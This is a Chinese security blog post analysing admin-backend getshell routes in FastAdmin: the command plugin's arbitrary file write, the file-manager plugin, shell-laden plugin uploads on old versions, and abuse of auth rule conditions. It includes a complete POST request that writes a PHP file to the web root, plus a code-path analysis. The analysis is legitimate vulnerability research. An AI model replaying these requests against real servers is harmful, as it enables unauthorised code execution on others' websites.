Fastadmin后台getshell

2021-05-06 15,007

前段时间,FastAdmin 爆出了前台传的CVE,于是想着将 FastAdmin 曾经的漏洞进行一个汇总,并尝试看是否能够找到新的漏洞点

通过参看网上的文章,发现大部分利用点为后台漏洞,后台漏洞点目前有两种情况

插件漏洞

插件漏洞,其实并不是一个很难利用的方式,在 wordpress 的网站中,拥有安装插件的功能的话,就会有无数个插件都可以上传 shell 以至获得网站的管理权限

Fastadmin 所拥有的插件并不是很多,登录后台之后,访问插件管理功能

http://test.test/nkmphlDGrv.php/addon?ref=addtabs

20210423172015.png

目前最新版本已经不支持直接离线或者在线安装插件,还需要拥有 Fastadmin 官网的账号。

看到网上采用的插件为 :command-1.0.6-regular.zip  &&  Filexi文件管理器(已经无法下载) && 自写的插件

在线命令

首先是 在线命令这个插件

20210423172015.png

我们在接口生成文件处填入 php 的文件名,在文档标题处填入 php 文件

20210423172832.png

先点击生成命令行,再点击立即执行,执行完成后会在 fastadmin/public 目录下生成 api.php

20210423172929.png

20210423173142.png

我们分析一下为什么如此操作就可以获得网站权限呢

从官网下载一份插件的源代码

20210423174346.png

安装完插件之后 fastadmin 项目的结构

20210423174457.png

大致我们仅仅需要关注 application/admin/controller/Command.php 就ok

我们执行的步骤为两步,首先是生成命令行,其次是立即执行,在相关位置添加断点,并在 Burpsuite 请求包 Cookie 字段添加 XDEBUG_SESSION=PHPSTROM

\app\admin\controller\Command::command

20210425100002.png

第一步生成命令行中,并没有进行命令执行的相关操作,只是将我们设定的参数,保存起来 php think api --output=api.php --title=<?php phpinfo();?>

点击立即执行,发现相较于前一步生成命令行,只在$action == 'execute' 有所不同

\app\admin\controller\Command::command

20210427112812.png

判定路由为 execute 之后会执行 doexecute 方法

\app\admin\controller\Command::doexecute

20210427133830.png

调试跟进函数执行的 run 方法

\think\console\Command::run

20210427134614.png

\app\admin\command\Api::execute

20210427134344.png

获取 output 对应的值,拼接为文件名

20210427135143.png

利用 file_put_contents 把内容写入到文件中,这个插件漏洞本质上是一个任意文件写入漏洞

只用发送如此数据包就可以成功

POST /nkmphlDGrv.php/command/command/action/execute HTTP/1.1
Host: test.test
Content-Length: 106
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=helipv5455s7i64l4vq72j9nen; think_var=zh-cn;XDEBUG_SESSION=PHPSTROM
Connection: close

commandtype=api&force=0&url=&output=api.php&template=&title=%3C%3Fphp+phpinfo()%3B%3F%3E&author=&language=

文件管理器

然后是文件管理器插件漏洞,这个插件漏洞应该不用过多的描述,wordpress 上有类似的插件,拥有这个插件的控制权限之后就相当于获取了整个服务器上的文件的控制权限

20210427142605.png

自构造恶意插件

最新版本已经不支持采用这种方法了,上传插件压缩包之后,跟着代码流程,会校验压缩包的相关信息,不支持上传自定义的插件压缩包,只能采用官方的插件,将官方插件压缩包进行修改也无法绕过校验

20210427154035.png

如果针对低版本的话,可以直接找一个普通插件压缩包,在其 assets 文件夹下直接添加 shell,再上传。

20210427154644.png

20210427173555.png

配置GetShell

在最新版本上进行了验证,发现无法成功,官网已经不支持下载一些老版本的安装文件,利用 github 上的过去分支,安装并没成功,gitee 也是只有核心代码,所以先下载一个完整的项目,再将老版本的核心代码替换进去。找了好几个版本都无法验证,就先附上师傅的操作链接吧 https://www.t00ls.net/viewthread.php?tid=60410

后来采用与网上操作并不完全相同的操作进行尝试

管理员登录后台之后,选择菜单规则,为其中的权限管理添加规则条件

20210428093514.png

创建一个低权限的用户

20210428093758.png

登录低权限用户

就会发现接收到了下载请求

20210428094011.png

经过验证最新版本也是存在这个问题的

20210428095206.png

修改的规则不应该是 菜单规则,而应该直接是权限管理的规则

对相关代码进行一个分析

首先是对规则的编辑过程,只是将相关字段存储保存进入了数据库

\app\admin\controller\auth\Rule::edit

20210428100133.png

20210428100257.png

fastadmin 的描述是 基于Auth验证的权限管理系统

在管理员登录时,登录成功之后,会把用户的信息写入session

\app\admin\library\Auth::login

20210428105639.png

会在登录成功之后,跳转到新的 url 链接http://test.test/nkmphlDGrv.php/index/index 的过程中,会根据用户的session 返回用户所拥有的权限信息

20210428123239.png

因为创建的低权限的管理员并没有菜单规则的权限,所以直接按照网络上的方法无法利用成功,我们可以修改另一个常规管理的规则条件进行尝试,是可以利用成功的,间接证实了我们的想法。



本文作者:Whippet

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/158403.html

Tags:
评论  (0)
快来写下你的想法吧!

Whippet

文章数:16 积分: 370

按时吃饭饭

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号